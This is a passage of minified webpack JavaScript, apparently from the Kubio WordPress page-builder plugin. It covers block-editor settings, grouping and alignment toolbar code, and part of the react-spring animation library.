blue","kubio"),slug:"pale-cyan-blue",color:"#8ed1fc"},{name:Object(o.__)("Vivid cyan blue","kubio"),slug:"vivid-cyan-blue",color:"#0693e3"},{name:Object(o.__)("Vivid purple","kubio"),slug:"vivid-purple",color:"#9b51e0"}],fontSizes:[{name:Object(o._x)("Small","font size name","kubio"),size:13,slug:"small"},{name:Object(o._x)("Normal","font size name","kubio"),size:16,slug:"normal"},{name:Object(o._x)("Medium","font size name","kubio"),size:20,slug:"medium"},{name:Object(o._x)("Large","font size name","kubio"),size:36,slug:"large"},{name:Object(o._x)("Huge","font size name","kubio"),size:42,slug:"huge"}],imageDefaultSize:"large",imageSizes:[{slug:"thumbnail",name:Object(o.__)("Thumbnail","kubio")},{slug:"medium",name:Object(o.__)("Medium","kubio")},{slug:"large",name:Object(o.__)("Large","kubio")},{slug:"full",name:Object(o.__)("Full Size","kubio")}],imageEditing:!0,maxWidth:580,allowedBlockTypes:!0,maxUploadFileSize:0,allowedMimeTypes:null,canLockBlocks:!0,enableOpenverseMediaCategory:!0,clearBlockSelection:!0,__experimentalCanUserUseUnfilteredHTML:!1,__experimentalBlockDirectory:!1,__mobileEnablePageTemplates:!1,__experimentalBlockPatterns:[],__experimentalBlockPatternCategories:[],__unstableGalleryWithImageBlocks:!1,__unstableIsPreviewMode:!1,generateAnchors:!1,gradients:[{name:Object(o.__)("Vivid cyan blue to vivid purple","kubio"),gradient:"linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)",slug:"vivid-cyan-blue-to-vivid-purple"},{name:Object(o.__)("Light green cyan to vivid green cyan","kubio"),gradient:"linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)",slug:"light-green-cyan-to-vivid-green-cyan"},{name:Object(o.__)("Luminous vivid amber to luminous vivid orange","kubio"),gradient:"linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%)",slug:"luminous-vivid-amber-to-luminous-vivid-orange"},{name:Object(o.__)("Luminous vivid orange to vivid red","kubio"),gradient:"linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%)",slug:"luminous-vivid-orange-to-vivid-red"},{name:Object(o.__)("Very light gray to cyan bluish gray","kubio"),gradient:"linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)",slug:"very-light-gray-to-cyan-bluish-gray"},{name:Object(o.__)("Cool to warm spectrum","kubio"),gradient:"linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)",slug:"cool-to-warm-spectrum"},{name:Object(o.__)("Blush light purple","kubio"),gradient:"linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)",slug:"blush-light-purple"},{name:Object(o.__)("Blush bordeaux","kubio"),gradient:"linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)",slug:"blush-bordeaux"},{name:Object(o.__)("Luminous dusk","kubio"),gradient:"linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)",slug:"luminous-dusk"},{name:Object(o.__)("Pale ocean","kubio"),gradient:"linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)",slug:"pale-ocean"},{name:Object(o.__)("Electric grass","kubio"),gradient:"linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)",slug:"electric-grass"},{name:Object(o.__)("Midnight","kubio"),gradient:"linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)",slug:"midnight"}],__unstableResolvedAssets:{styles:[],scripts:[]}}},function(e,t,n){e.exports=n(274)},function(e,t,n){"use strict";e.exports=n(278)},,,,function(e,t,n){"use strict";e.exports=function e(t,n){if(t===n)return!0;if(t&&n&&"object"==typeof t&&"object"==typeof n){if(t.constructor!==n.constructor)return!1;var o,r,l;if(Array.isArray(t)){if((o=t.length)!=n.length)return!1;for(r=o;0!=r--;)if(!e(t[r],n[r]))return!1;return!0}if(t instanceof Map&&n instanceof Map){if(t.size!==n.size)return!1;for(r of t.entries())if(!n.has(r[0]))return!1;for(r of t.entries())if(!e(r[1],n.get(r[0])))return!1;return!0}if(t instanceof Set&&n instanceof Set){if(t.size!==n.size)return!1;for(r of t.entries())if(!n.has(r[0]))return!1;return!0}if(ArrayBuffer.isView(t)&&ArrayBuffer.isView(n)){if((o=t.length)!=n.length)return!1;for(r=o;0!=r--;)if(t[r]!==n[r])return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&&t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((o=(l=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(r=o;0!=r--;)if(!Object.prototype.hasOwnProperty.call(n,l[r]))return!1;for(r=o;0!=r--;){var c=l[r];if(!e(t[c],n[c]))return!1}return!0}return t!=t&&n!=n}},function(e,t,n){"use strict";n.d(t,"a",(function(){return o}));const o="core/block-editor"},function(e,t,n){"use strict";n.d(t,"a",(function(){return u}));var o=n(7),r=n(107),l=n(14),c=n(101);const i=[],a=["none","left","center","right","wide","full"],s=["wide","full"];function u(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:a;e.includes("none")||(e=["none",...e]);const{wideControlsEnabled:t=!1,themeSupportsLayout:n}=Object(o.useSelect)((e=>{const{getSettings:t}=e(l.a),n=t();return{wideControlsEnabled:n.alignWide,themeSupportsLayout:n.supportsLayout}}),[]),u=Object(r.d)(),d=Object(c.a)(null==u?void 0:u.type),b=d.getAlignments(u);if(n){const t=b.filter((t=>{let{name:n}=t;return e.includes(n)}));return 1===t.length&&"none"===t[0].name?i:t}if("default"!==d.name&&"constrained"!==d.name)return i;const{alignments:p=a}=u,m=e.filter((e=>(u.alignments||t||!s.includes(e))&&p.includes(e))).map((e=>({name:e})));return 1===m.length&&"none"===m[0].name?i:m}},function(e,t){!function(){e.exports=this.wp.date}()},,,function(e,t,n){"use strict";n.d(t,"a",(function(){return f})),n.d(t,"b",(function(){return g})),n.d(t,"c",(function(){return s}));var o=n(0),r=n(3),l=n(1),c=n(12),i=n(7),a=n(14);function s(){const{clientIds:e,isGroupable:t,isUngroupable:n,blocksSelection:o,groupingBlockName:r}=Object(i.useSelect)((e=>{var t;const{getBlockRootClientId:n,getBlocksByClientId:o,canInsertBlockType:r,getSelectedBlockClientIds:l}=e(a.a),{getGroupingBlockName:i}=e(c.store),s=l(),u=i(),d=r(u,null!=s&&s.length?n(s[0]):void 0),b=o(s),p=!!b.find((e=>e.name.startsWith("kubio/"))),m=1===b.length&&(null===(t=b[0])||void 0===t?void 0:t.name)===u;return{clientIds:s,isGroupable:!p&&d&&b.length,isUngroupable:!p&&m&&!!b[0].innerBlocks.length,blocksSelection:b,groupingBlockName:u}}),[]);return{clientIds:e,isGroupable:t,isUngroupable:n,blocksSelection:o,groupingBlockName:r}}var u=n(5),d=Object(o.createElement)(u.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(u.Path,{d:"M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z"})),b=Object(o.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(u.Path,{d:"M9.2 6.5H4V8h5.2c.3 0 .5.2.5.5v7c0 .3-.2.5-.5.5H4v1.5h5.2c1.1 0 2-.9 2-2v-7c0-1.1-.8-2-2-2zM14.8 8H20V6.5h-5.2c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2H20V16h-5.2c-.3 0-.5-.2-.5-.5v-7c-.1-.3.2-.5.5-.5z"})),p=Object(o.createElement)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(u.Path,{d:"M16 4v5.2c0 .3-.2.5-.5.5h-7c-.3.1-.5-.2-.5-.5V4H6.5v5.2c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V4H16zm-.5 8.8h-7c-1.1 0-2 .9-2 2V20H8v-5.2c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5V20h1.5v-5.2c0-1.2-.9-2-2-2z"}));const m={group:{type:"constrained"},row:{type:"flex",flexWrap:"nowrap"},stack:{type:"flex",orientation:"vertical"}};var f=function(){const{blocksSelection:e,clientIds:t,groupingBlockName:n,isGroupable:u}=s(),{replaceBlocks:f}=Object(i.useDispatch)(a.a),{canRemove:g,variations:h}=Object(i.useSelect)((e=>{const{canRemoveBlocks:o}=e(a.a),{getBlockVariations:r}=e(c.store);return{canRemove:o(t),variations:r(n,"transform")}}),[t,n]),v=o=>{const r=Object(c.switchToBlockType)(e,n);"string"!=typeof o&&(o="group"),r&&r.length>0&&(r[0].attributes.layout=m[o],f(t,r))};if(!u||!g)return null;const O=!!h.find((e=>{let{name:t}=e;return"group-row"===t})),k=!!h.find((e=>{let{name:t}=e;return"group-stack"===t}));return Object(o.createElement)(r.ToolbarGroup,null,Object(o.createElement)(r.ToolbarButton,{icon:d,label:Object(l._x)("Group","verb","kubio"),onClick:v}),O&&Object(o.createElement)(r.ToolbarButton,{icon:b,label:Object(l._x)("Row","single horizontal line","kubio"),onClick:()=>v("row")}),k&&Object(o.createElement)(r.ToolbarButton,{icon:p,label:Object(l._x)("Stack","verb","kubio"),onClick:()=>v("stack")}))};function g(e){let{clientIds:t,isGroupable:n,isUngroupable:s,blocksSelection:u,groupingBlockName:d,onClose:b=(()=>{})}=e;const{replaceBlocks:p}=Object(i.useDispatch)(a.a);return n||s?Object(o.createElement)(o.Fragment,null,n&&Object(o.createElement)(r.MenuItem,{onClick:()=>{(()=>{const e=Object(c.switchToBlockType)(u,d);e&&p(t,e)})(),b()}},Object(l._x)("Group","verb","kubio")),s&&Object(o.createElement)(r.MenuItem,{onClick:()=>{(()=>{const e=u[0].innerBlocks;e.length&&p(t,e)})(),b()}},Object(l._x)("Ungroup","Ungrouping blocks from within a Group block back into individual blocks within the Editor ","kubio"))):null}},,,,,,,,,,,,,,,,function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(0),r=n(3),l=n(1),c=n(30);const i={px:{max:1e3,step:1},"%":{max:100,step:1},vw:{max:100,step:1},vh:{max:100,step:1},em:{max:50,step:.1},rem:{max:50,step:.1}};function a(e){var t,n,a,s,u;let{label:d=Object(l.__)("Height","kubio"),onChange:b,value:p}=e;const m=parseFloat(p),f=Object(r.__experimentalUseCustomUnits)({availableUnits:Object(c.a)("spacing.units")||["%","px","em","rem","vh","vw"]}),g=Object(o.useMemo)((()=>Object(r.__experimentalParseQuantityAndUnitFromRawValue)(p)),[p])[1]||(null===(t=f[0])||void 0===t?void 0:t.value)||"px";return Object(o.createElement)("fieldset",{className:"block-editor-height-control"},Object(o.createElement)(r.BaseControl.VisualLabel,{as:"legend"},d),Object(o.createElement)(r.Flex,null,Object(o.createElement)(r.FlexItem,{isBlock:!0},Object(o.createElement)(r.__experimentalUnitControl,{value:p,units:f,onChange:b,onUnitChange:e=>{const[t,n]=Object(r.__experimentalParseQuantityAndUnitFromRawValue)(p);["em","rem"].includes(e)&&"px"===n?b((t/16).toFixed(2)+e):["em","rem"].includes(n)&&"px"===e?b(Math.round(16*t)+e):["vh","vw","%"].includes(e)&&t>100&&b(100+e)},min:0,size:"__unstable-large"})),Object(o.createElement)(r.FlexItem,{isBlock:!0},Object(o.createElement)(r.__experimentalSpacer,{marginX:2,marginBottom:0},Object(o.createElement)(r.RangeControl,{value:m,min:0,max:null!==(n=null===(a=i[g])||void 0===a?void 0:a.max)&&void 0!==n?n:100,step:null!==(s=null===(u=i[g])||void 0===u?void 0:u.step)&&void 0!==s?s:.1,withInputField:!1,onChange:e=>{b([e,g].join(""))},__nextHasNoMarginBottom:!0})))))}},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"}));t.a=l},function(e,t,n){"use strict";(function(e){n.d(t,"a",(function(){return C}));var o=n(13),r=n.n(o),l=n(12),c=n(11),i=n(7),a=n(0),s=n(1),u=(n(246),n(14)),d=n(68),b=n(270),p=n(375),m=n(376),f=n(377),g=n(378),h=n(71),v=n(379),O=n(380),k=n(381),j=n(382),_=n(383),y=n(384),E=n(385);const S=200;function C(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{__unstableIsHtml:n}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const{clientId:o,className:C,wrapperProps:w={},isAligned:B}=Object(a.useContext)(b.a),{index:I,mode:x,name:T,blockApiVersion:N,blockTitle:M,isPartOfSelection:P,adjustScrolling:L,enableAnimation:R}=Object(i.useSelect)((e=>{const{getBlockIndex:t,getBlockMode:n,getBlockName:r,isTyping:c,getGlobalBlockCount:i,isBlockSelected:a,isBlockMultiSelected:s,isAncestorMultiSelected:d,isFirstMultiSelectedBlock:b}=e(u.a),p=a(o),m=s(o)||d(o),f=r(o),g=Object(l.getBlockType)(f);return{index:t(o),mode:n(o),name:f,blockApiVersion:(null==g?void 0:g.apiVersion)||1,blockTitle:null==g?void 0:g.title,isPartOfSelection:p||m,adjustScrolling:p||b(o),enableAnimation:!c()&&i()<=S}}),[o]),A=Object(s.sprintf)(// translators: %s: Type of block (i.e. Text, Image etc)
Object(s.__)("Block: %s","kubio"),M),D="html"!==x||n?"":"-visual",F=Object(c.useMergeRefs)([t.ref,Object(v.a)(o),Object(h.c)(o),Object(O.a)(o),Object(E.a)(o),Object(y.a)(o),Object(j.a)(),Object(k.a)(),Object(_.a)({isSelected:P,adjustScrolling:L,enableAnimation:R,triggerAnimationOnChange:I})]),z=Object(d.c)();return N<2&&o===z.clientId&&void 0!==e&&e.env,{...w,...t,ref:F,id:`block-${o}${D}`,tabIndex:0,role:"document","aria-label":A,"data-block":o,"data-type":T,"data-title":M,className:r()(r()("block-editor-block-list__block",{"wp-block":!B}),C,t.className,w.className,Object(p.a)(o),Object(f.a)(o),Object(m.a)(o),Object(g.a)(o)),style:{...w.style,...t.style}}}C.save=l.__unstableGetBlockProps}).call(this,n(154))},function(e,t,n){"use strict";var o=n(3);const{Fill:r,Slot:l}=Object(o.createSlotFill)("__unstableBlockToolbarLastItem");r.Slot=l,t.a=r},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(3),c=n(180);t.a=function(e){let{clientIds:t,...n}=e;return Object(r.createElement)(l.ToolbarGroup,null,Object(r.createElement)(l.ToolbarItem,null,(e=>Object(r.createElement)(c.a,Object(o.a)({clientIds:t,toggleProps:e},n)))))}},function(e,t,n){"use strict";var o=n(3);const{Fill:r,Slot:l}=Object(o.createSlotFill)("__unstableBlockSettingsMenuFirstItem");r.Slot=l,t.a=r},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(3),c=n(7),i=n(205),a=n(95),s=n(14);const{Fill:u,Slot:d}=Object(l.createSlotFill)("BlockSettingsMenuControls");function b(e){let{...t}=e;return Object(r.createElement)(l.__experimentalStyleProvider,{document:document},Object(r.createElement)(u,t))}b.Slot=e=>{let{fillProps:t,clientIds:n=null,__unstableDisplayLocation:u}=e;const{selectedBlocks:b,selectedClientIds:p,canRemove:m}=Object(c.useSelect)((e=>{const{getBlockNamesByClientId:t,getSelectedBlockClientIds:o,canRemoveBlocks:r}=e(s.a),l=null!==n?n:o();return{selectedBlocks:t(l),selectedClientIds:l,canRemove:r(l)}}),[n]),{canLock:f}=Object(a.c)(p[0]),g=1===p.length&&f,h=Object(i.c)(),{isGroupable:v,isUngroupable:O}=h,k=(v||O)&&m;return Object(r.createElement)(d,{fillProps:{...t,__unstableDisplayLocation:u,selectedBlocks:b,selectedClientIds:p}},(e=>!(null!=e&&e.length)>0&&!k&&!g?null:Object(r.createElement)(l.MenuGroup,null,g&&Object(r.createElement)(a.a,{clientId:p[0]}),e,k&&Object(r.createElement)(i.b,Object(o.a)({},h,{onClose:null==t?void 0:t.onClose})))))},t.a=b},function(e,t,n){"use strict";var o=n(0);const r=Object(o.createContext)("");t.a=r},function(e,t,n){"use strict";n.d(t,"a",(function(){return u}));var o=n(0),r=n(92),l=n(128),c=n(170),i=n(236);const a=".editor-styles-wrapper";function s(e){return Object(o.useCallback)((e=>{if(!e)return;const{ownerDocument:t}=e,{defaultView:n,body:o}=t,l=t.querySelector(a);let c;if(l)c=n.getComputedStyle(l,null).getPropertyValue("background-color");else{const e=t.createElement("div");e.classList.add("editor-styles-wrapper"),o.appendChild(e),c=n.getComputedStyle(e,null).getPropertyValue("background-color"),o.removeChild(e)}const i=Object(r.a)(c);i.luminance()>.5||0===i.alpha()?o.classList.remove("is-dark-theme"):o.classList.add("is-dark-theme")}),[e])}function u(e){let{styles:t}=e;const n=Object(o.useMemo)((()=>Object(i.a)(t,a)),[t]);return Object(o.createElement)(o.Fragment,null,Object(o.createElement)("style",{ref:s(t)}),n.map(((e,t)=>Object(o.createElement)("style",{key:t},e))))}Object(r.b)([l.a,c.a])},function(e,t,n){"use strict";var o=n(3);const{Fill:r,Slot:l}=Object(o.createSlotFill)("__unstableInserterMenuExtension");r.Slot=l,t.a=r},function(e,t,n){"use strict";n.d(t,"useSpring",(function(){return be}));var o=n(20);n.d(t,"Globals",(function(){return o.b}));var r=n(10),l=n(65);function c(){return c=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},c.apply(this,arguments)}function i(e,...t){return o.s.fun(e)?e(...t):e}n(332),n(333);const a=(e,t)=>!0===e||!!(t&&e&&(o.s.fun(e)?e(t):Object(o.y)(e).includes(t))),s=(e,t)=>o.s.obj(e)?t&&e[t]:e,u=(e,t)=>!0===e.default?e[t]:e.default?e.default[t]:void 0,d=e=>e,b=(e,t=d)=>{let n=p;e.default&&!0!==e.default&&(e=e.default,n=Object.keys(e));const r={};for(const l of n){const n=t(e[l],l);o.s.und(n)||(r[l]=n)}return r},p=["config","onProps","onStart","onChange","onPause","onResume","onRest"],m={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function f(e){const t=function(e){const t={};let n=0;if(Object(o.l)(e,((e,o)=>{m[o]||(t[o]=e,n++)})),n)return t}(e);if(t){const n={to:t};return Object(o.l)(e,((e,o)=>o in t||(n[o]=e))),n}return c({},e)}function g(e){return e=Object(o.q)(e),o.s.arr(e)?e.map(g):Object(o.t)(e)?o.b.createStringInterpolator({range:[0,1],output:[e,e]})(1):e}function h(e){return o.s.fun(e)||o.s.arr(e)&&o.s.obj(e[0])}const v=c({},{tension:170,friction:26},{mass:1,damping:1,easing:e=>e,clamp:!1});class O{constructor(){this.tension=void 0,this.friction=void 0,this.frequency=void 0,this.damping=void 0,this.mass=void 0,this.velocity=0,this.restVelocity=void 0,this.precision=void 0,this.progress=void 0,this.duration=void 0,this.easing=void 0,this.clamp=void 0,this.bounce=void 0,this.decay=void 0,this.round=void 0,Object.assign(this,v)}}function k(e,t){if(o.s.und(t.decay)){const n=!o.s.und(t.tension)||!o.s.und(t.friction);!n&&o.s.und(t.frequency)&&o.s.und(t.damping)&&o.s.und(t.mass)||(e.duration=void 0,e.decay=void 0),n&&(e.frequency=void 0)}else e.duration=void 0}const j=[];class _{constructor(){this.changed=!1,this.values=j,this.toValues=null,this.fromValues=j,this.to=void 0,this.from=void 0,this.config=new O,this.immediate=!1}}function y(e,{key:t,props:n,defaultProps:r,state:l,actions:s}){return new Promise(((u,d)=>{var b;let p,m,f=a(null!=(b=n.cancel)?b:null==r?void 0:r.cancel,t);if(f)v();else{o.s.und(n.pause)||(l.paused=a(n.pause,t));let e=null==r?void 0:r.pause;!0!==e&&(e=l.paused||a(e,t)),p=i(n.delay||0,t),e?(l.resumeQueue.add(h),s.pause()):(s.resume(),h())}function g(){l.resumeQueue.add(h),l.timeouts.delete(m),m.cancel(),p=m.time-o.w.now()}function h(){p>0&&!o.b.skipAnimation?(m=o.w.setTimeout(v,p),l.pauseQueue.add(g),l.timeouts.add(m)):v()}function v(){l.pauseQueue.delete(g),l.timeouts.delete(m),e<=(l.cancelId||0)&&(f=!0);try{s.start(c({},n,{callId:e,cancel:f}),u)}catch(e){d(e)}}}))}const E=(e,t)=>1==t.length?t[0]:t.some((e=>e.cancelled))?w(e.get()):t.every((e=>e.noop))?S(e.get()):C(e.get(),t.every((e=>e.finished))),S=e=>({value:e,noop:!0,finished:!0,cancelled:!1}),C=(e,t,n=!1)=>({value:e,finished:t,cancelled:n}),w=e=>({value:e,cancelled:!0,finished:!1});function B(e,t,n,r){const{callId:l,parentId:i,onRest:a}=t,{asyncTo:s,promise:u}=n;return i||e!==s||t.reset?n.promise=(async()=>{n.asyncId=l,n.asyncTo=e;const d=b(t,((e,t)=>"onRest"===t?void 0:e));let p,m;const f=new Promise(((e,t)=>(p=e,m=t))),g=e=>{const t=l<=(n.cancelId||0)&&w(r)||l!==n.asyncId&&C(r,!1);if(t)throw e.result=t,m(e),e},h=(e,t)=>{const i=new x,a=new T;return(async()=>{if(o.b.skipAnimation)throw I(n),a.result=C(r,!1),m(a),a;g(i);const s=o.s.obj(e)?c({},e):c({},t,{to:e});s.parentId=l,Object(o.l)(d,((e,t)=>{o.s.und(s[t])&&(s[t]=e)}));const u=await r.start(s);return g(i),n.paused&&await new Promise((e=>{n.resumeQueue.add(e)})),u})()};let v;if(o.b.skipAnimation)return I(n),C(r,!1);try{let t;t=o.s.arr(e)?(async e=>{for(const t of e)await h(t)})(e):Promise.resolve(e(h,r.stop.bind(r))),await Promise.all([t.then(p),f]),v=C(r.get(),!0,!1)}catch(e){if(e instanceof x)v=e.result;else{if(!(e instanceof T))throw e;v=e.result}}finally{l==n.asyncId&&(n.asyncId=i,n.asyncTo=i?s:void 0,n.promise=i?u:void 0)}return o.s.fun(a)&&o.w.batchedUpdates((()=>{a(v,r,r.item)})),v})():u}function I(e,t){Object(o.m)(e.timeouts,(e=>e.cancel())),e.pauseQueue.clear(),e.resumeQueue.clear(),e.asyncId=e.asyncTo=e.promise=void 0,t&&(e.cancelId=t)}class x extends Error{constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise."),this.result=void 0}}class T extends Error{constructor(){super("SkipAnimationSignal"),this.result=void 0}}const N=e=>e instanceof P;let M=1;class P extends o.a{constructor(...e){super(...e),this.id=M++,this.key=void 0,this._priority=0}get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){const e=Object(l.e)(this);return e&&e.getValue()}to(...e){return o.b.to(this,e)}interpolate(...e){return Object(o.j)(),o.b.to(this,e)}toJSON(){return this.get()}observerAdded(e){1==e&&this._attach()}observerRemoved(e){0==e&&this._detach()}_attach(){}_detach(){}_onChange(e,t=!1){Object(o.d)(this,{type:"change",parent:this,value:e,idle:t})}_onPriorityChange(e){this.idle||o.o.sort(this),Object(o.d)(this,{type:"priority",parent:this,priority:e})}}const L=Symbol.for("SpringPhase"),R=e=>(1&e[L])>0,A=e=>(2&e[L])>0,D=e=>(4&e[L])>0,F=(e,t)=>t?e[L]|=3:e[L]&=-3,z=(e,t)=>t?e[L]|=4:e[L]&=-5;class V extends P{constructor(e,t){if(super(),this.key=void 0,this.animation=new _,this.queue=void 0,this.defaultProps={},this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._pendingCalls=new Set,this._lastCallId=0,this._lastToId=0,this._memoizedDuration=0,!o.s.und(e)||!o.s.und(t)){const n=o.s.obj(e)?c({},e):c({},t,{from:e});o.s.und(n.default)&&(n.default=!0),this.start(n)}}get idle(){return!(A(this)||this._state.asyncTo)||D(this)}get goal(){return Object(o.q)(this.animation.to)}get velocity(){const e=Object(l.e)(this);return e instanceof l.c?e.lastVelocity||0:e.getPayload().map((e=>e.lastVelocity||0))}get hasAnimated(){return R(this)}get isAnimating(){return A(this)}get isPaused(){return D(this)}advance(e){let t=!0,n=!1;const r=this.animation;let{config:c,toValues:i}=r;const a=Object(l.g)(r.to);!a&&Object(o.r)(r.to)&&(i=Object(o.y)(Object(o.q)(r.to))),r.values.forEach(((s,u)=>{if(s.done)return;const d=s.constructor==l.b?1:a?a[u].lastPosition:i[u];let b=r.immediate,p=d;if(!b){if(p=s.lastPosition,c.tension<=0)return void(s.done=!0);let t=s.elapsedTime+=e;const n=r.fromValues[u],l=null!=s.v0?s.v0:s.v0=o.s.arr(c.velocity)?c.velocity[u]:c.velocity;let i;if(o.s.und(c.duration))if(c.decay){const e=!0===c.decay?.998:c.decay,o=Math.exp(-(1-e)*t);p=n+l/(1-e)*(1-o),b=Math.abs(s.lastPosition-p)<.1,i=l*o}else{i=null==s.lastVelocity?l:s.lastVelocity;const t=c.precision||(n==d?.005:Math.min(1,.001*Math.abs(d-n))),r=c.restVelocity||t/10,a=c.clamp?0:c.bounce,u=!o.s.und(a),m=n==d?s.v0>0:n<d;let f,g=!1;const h=1,v=Math.ceil(e/h);for(let e=0;e<v&&(f=Math.abs(i)>r,f||(b=Math.abs(d-p)<=t,!b));++e)u&&(g=p==d||p>d==m,g&&(i=-i*a,p=d)),i+=(1e-6*-c.tension*(p-d)+.001*-c.friction*i)/c.mass*h,p+=i*h}else{let o=1;c.duration>0&&(this._memoizedDuration!==c.duration&&(this._memoizedDuration=c.duration,s.durationProgress>0&&(s.elapsedTime=c.duration*s.durationProgress,t=s.elapsedTime+=e)),o=(c.progress||0)+t/this._memoizedDuration,o=o>1?1:o<0?0:o,s.durationProgress=o),p=n+c.easing(o)*(d-n),i=(p-s.lastPosition)/e,b=1==o}s.lastVelocity=i,Number.isNaN(p)&&(console.warn("Got NaN while animating:",this),b=!0)}a&&!a[u].done&&(b=!1),b?s.done=!0:t=!1,s.setValue(p,c.round)&&(n=!0)}));const s=Object(l.e)(this),u=s.getValue();if(t){const e=Object(o.q)(r.to);u===e&&!n||c.decay?n&&c.decay&&this._onChange(u):(s.setValue(e),this._onChange(e)),this._stop()}else n&&this._onChange(u)}set(e){return o.w.batchedUpdates((()=>{this._stop(),this._focus(e),this._set(e)})),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(A(this)){const{to:e,config:t}=this.animation;o.w.batchedUpdates((()=>{this._onStart(),t.decay||this._set(e,!1),this._stop()}))}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,t){let n;return o.s.und(e)?(n=this.queue||[],this.queue=[]):n=[o.s.obj(e)?e:c({},t,{to:e})],Promise.all(n.map((e=>this._update(e)))).then((e=>E(this,e)))}stop(e){const{to:t}=this.animation;return this._focus(this.get()),I(this._state,e&&this._lastCallId),o.w.batchedUpdates((()=>this._stop(t,e))),this}reset(){this._update({reset:!0})}eventObserved(e){"change"==e.type?this._start():"priority"==e.type&&(this.priority=e.priority+1)}_prepareNode(e){const t=this.key||"";let{to:n,from:r}=e;n=o.s.obj(n)?n[t]:n,(null==n||h(n))&&(n=void 0),r=o.s.obj(r)?r[t]:r,null==r&&(r=void 0);const c={to:n,from:r};return R(this)||(e.reverse&&([n,r]=[r,n]),r=Object(o.q)(r),o.s.und(r)?Object(l.e)(this)||this._set(n):this._set(r)),c}_update(e,t){let n=c({},e);const{key:r,defaultProps:l}=this;n.default&&Object.assign(l,b(n,((e,t)=>/^on/.test(t)?s(e,r):e))),q(this,n,"onProps"),Y(this,"onProps",n,this);const i=this._prepareNode(n);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");const a=this._state;return y(++this._lastCallId,{key:r,props:n,defaultProps:l,state:a,actions:{pause:()=>{D(this)||(z(this,!0),Object(o.n)(a.pauseQueue),Y(this,"onPause",C(this,H(this,this.animation.to)),this))},resume:()=>{D(this)&&(z(this,!1),A(this)&&this._resume(),Object(o.n)(a.resumeQueue),Y(this,"onResume",C(this,H(this,this.animation.to)),this))},start:this._merge.bind(this,i)}}).then((e=>{if(n.loop&&e.finished&&(!t||!e.noop)){const e=G(n);if(e)return this._update(e,!0)}return e}))}_merge(e,t,n){if(t.cancel)return this.stop(!0),n(w(this));const r=!o.s.und(e.to),s=!o.s.und(e.from);if(r||s){if(!(t.callId>this._lastToId))return 